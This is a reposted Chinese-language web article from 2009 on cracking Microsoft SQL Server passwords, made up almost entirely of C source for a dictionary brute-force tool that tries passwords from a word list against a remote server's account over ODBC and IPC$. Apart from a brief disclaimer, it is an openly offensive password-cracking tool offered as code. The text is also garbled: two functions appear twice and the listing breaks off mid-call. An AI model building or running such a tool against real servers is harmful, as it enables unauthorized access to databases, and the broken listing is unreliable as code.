当前位置: 主页 > 编程知识 > Mssql数据库 > 骇客是如何破解MS SQL SERCVER密码的

骇客是如何破解MS SQL SERCVER密码的

时间:2009-10-26来源:站长资讯网 点击:

此程序只作技术交流之用,如用于不法用途,作者不负任何责任!!

这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。

//程序所用到的头文件 

//定义全局变量 

char dict[20000][40],//准备探测的密码 

UserName[40],//用户名 

target[40],//目标服务器 

passwd[40];//已经探测出来的正确密码 

int total=0;//字典里面单词数量 

BOOL Cracked=FALSE;//探测密码成功时此值为TRUE 

// 

//函数:usage 

//功能:显示程序帮助信息 

// 

void usage() 

{ 


  printf("\nPower by analyzer〈inmiao@163.com〉" 


  "\nhttp://www.infocn.com" 


  "\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉" 


  "\nExample:SQLCrack 192.168.0.1 sa c:\pwd.dic 50\n"); 


  return; 


  } 


  // 


  //函数:ReadDic 


  //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码 


  //说明:函数运行失败返回值1,成功返回0 


  // 


  int ReadDic(char *dic) 


  { 


  FILE *fp; 


  char tmp[40]; 


  //打开字典文件 


  if((fp=fopen(dic,"r"))==NULL) 


  { 


  printf("\nCan‘t open %s",dic); 


  return 1; 


  } 


  while(!feof(fp)) 


  { 


  //读取数据到临时变量 


  if(fgets(tmp,40,fp)==NULL) 


  break; 


  //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了 


  strncpy(dict[total],tmp,strlen(tmp)-1); 


  total++; 


  //因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环 


  //不然就会溢出啦.可以自行调准 


  if(total〉=20000) 


  break; 


  } 


  fclose(fp); 


  return 0; 


  } 


  // 


  //函数:ConnIPC 


  //功能:建立IPC连接 


  //说明:连接失败返回值1,成功返回值0 


  // 


  int ConnIPC(char *RemoteName) 


  { 


  NETRESOURCE nr; 


  DWORD flags=CONNECT_UPDATE_PROFILE; 


  TCHAR RN[30]="", 


  LN[5]=""; 


  strcat(RN,RemoteName); 


  strcat(RN,"\ipc$"); 


  //填充数据结构 


  nr.dwType=RESOURCETYPE_DISK; 


  nr.lpLocalName=(LPTSTR)&LN; 


  nr.lpRemoteName=(LPTSTR)&RN; 


  nr.lpProvider=NULL; 


  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR) 


  { 


  return 0; 


  } 


  else 


  { 


  return 1; 


  } 


  } 


  // 


  //函数:DelIPC 


  //功能:断开IPC Session 


  //说明:成功返回值0,否则返回1 


  // 


  int DelIPC(char *RemoteName) 


  { 


  DWORD ret; 


  TCHAR lpName[30]=""; 


  strcat(lpName,RemoteName); 


  strcat(lpName,"\ipc$"); 


  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE); 


  if(ret==NO_ERROR) 


  { 


  return 0; 


  } 


  else 


  { 


  return 1; 


  } 


  } 


  // 


  //函数SQLCheck 


  //功能:尝试用不同密码连接SQL Server,探测出正确的密码 


  // 


  DWORD WINAPI SQLCheck(PVOID pPwd) 


  { 


  //定义局部变量 


  char szBuffer[1025]; 


  char *pwd; 


  SWORD swStrLen; 


  SQLHDBC hdbc; 


  SQLHANDLE henv; 


  SQLRETURN retcode;//ODBC API运行返回值 


  SCHAR ConnStr[200];//连接数据库字符串 


  //取得传递过来准备探测的密码 


  pwd=(char *)pPwd; 


  //构造连接数据库字符 


  strcpy(ConnStr,"DRIVER={SQL Server};SERVER="); 


  strcat(ConnStr,target); 


  strcat(ConnStr,";UID="); 


  strcat(ConnStr,UserName); 


  strcat(ConnStr,";PWD="); 


  strcat(ConnStr,pwd); 


  strcat(ConnStr,";DATABASE=master"); 


  //puts(ConnStr); 


  //创建数据库应用的环境句柄 


  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) 


  { 


  printf("\nAllocate environment handle failed.\n"); 


  return 0; 


  } 


  //printf("henv.."); 


  //设置ODBC版本环境 


  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) 


  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) 


  { 


  printf("\nSet the ODBC version environment attribute failed.\n"); 


  SQLFreeHandle(SQL_HANDLE_ENV, henv); 


  return 0; 


  } 


  //printf("ODBC ver.."); 


  //创建连接句柄 


  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR 


  *)&hdbc)) != SQL_SUCCESS) 


  { 


  printf("\nAllocate connection handle failed.\n"); 


  SQLFreeHandle(SQL_HANDLE_ENV, henv); 


  return 0; 


  } 


  //printf("hdbc.."); 


  //连接数据源 


  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr), 


  szBuffer,sizeof(szBuffer),&swStrLen, 


  SQL_DRIVER_COMPLETE_REQUIRED); 


  //printf("conn.."); 


  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO) 


  { 


  //连接失败,函数终止 


  //printf("\nCouldn‘t connect to %s MSSQL server.\n",target); 


  SQLFreeHandle(SQL_HANDLE_DBC, hdbc); 


  SQLFreeHandle(SQL_HANDLE_ENV, henv); 


  return 0; 


  } 


  //连接远程MSSQL Server数据库成功 


  Cracked=TRUE; 


  strcpy(passwd,pwd); 


  //puts(szBuffer); 


  //显示连接远程数据库的字符串 


  //断开连接 


  SQLDisconnect(hdbc); 


  //printf("disconn.."); 


  //释放连接句柄 


  SQLFreeHandle(SQL_HANDLE_DBC, hdbc); 


  //printf("free hdbc.."); 


  //释放环境句柄 


  SQLFreeHandle(SQL_HANDLE_ENV, henv); 


  //printf("free henv..\n"); 


  return 0; 


  } 


  // 


  //函数:DelIPC 


  //功能:断开IPC Session 


  //说明:成功返回值0,否则返回1 


  // 


  int DelIPC(char *RemoteName) 


  { 


  DWORD ret; 


  TCHAR lpName[30]=""; 


  strcat(lpName,RemoteName); 


  strcat(lpName,"\ipc$"); 


  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE); 


  if(ret==NO_ERROR) 


  { 


  return 0; 


  } 


  else 


  { 


  return 1; 


  } 


  } 


  // 


  //函数SQLCheck 


  //功能:尝试用不同密码连接SQL Server,探测出正确的密码 


  // 


  DWORD WINAPI SQLCheck(PVOID pPwd) 


  { 


  //定义局部变量 


  char szBuffer[1025]; 


  char *pwd; 


  SWORD swStrLen; 


  SQLHDBC hdbc; 


  SQLHANDLE henv; 


  SQLRETURN retcode;//ODBC API运行返回值 


  SCHAR ConnStr[200];//连接数据库字符串 


  //取得传递过来准备探测的密码 


  pwd=(char *)pPwd; 


  //构造连接数据库字符 


  strcpy(ConnStr,"DRIVER={SQL Server};SERVER="); 


  strcat(ConnStr,target); 


  strcat(ConnStr,";UID="); 


  strcat(ConnStr,UserName); 


  strcat(ConnStr,";PWD="); 


  strcat(ConnStr,pwd); 


  strcat(ConnStr,";DATABASE=master"); 


  //puts(ConnStr); 


  //创建数据库应用的环境句柄 


  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) 


  { 


  printf("\nAllocate environment handle failed.\n"); 


  return 0; 


  } 


  //printf("henv.."); 


  //设置ODBC版本环境 


  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) 


  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) 


  { 


  printf("\nSet the ODBC version environment attribute failed.\n"); 


  SQLFreeHandle(SQL_HANDLE_ENV, henv); 


  return 0; 


  } 


  //printf("ODBC ver.."); 


  //创建连接句柄 


  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR 


  *)&hdbc)) != SQL_SUCCESS) 


  { 


  printf("\nAllocate connection handle failed.\n"); 


  SQLFreeHandle(SQL_HANDLE_ENV, henv); 


  return 0; 


  } 


  //printf("hdbc.."); 


  //连接数据源 


  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr), 


  szBuffer,sizeof(szBuffer),&
站长资讯网
. TAG: SQL 骇客 SERCVER 密码 破解
推荐内容最近更新人气排行
关于我们 | 友情链接 | 网址推荐 | 常用资讯 | 网站地图 | RSS | 留言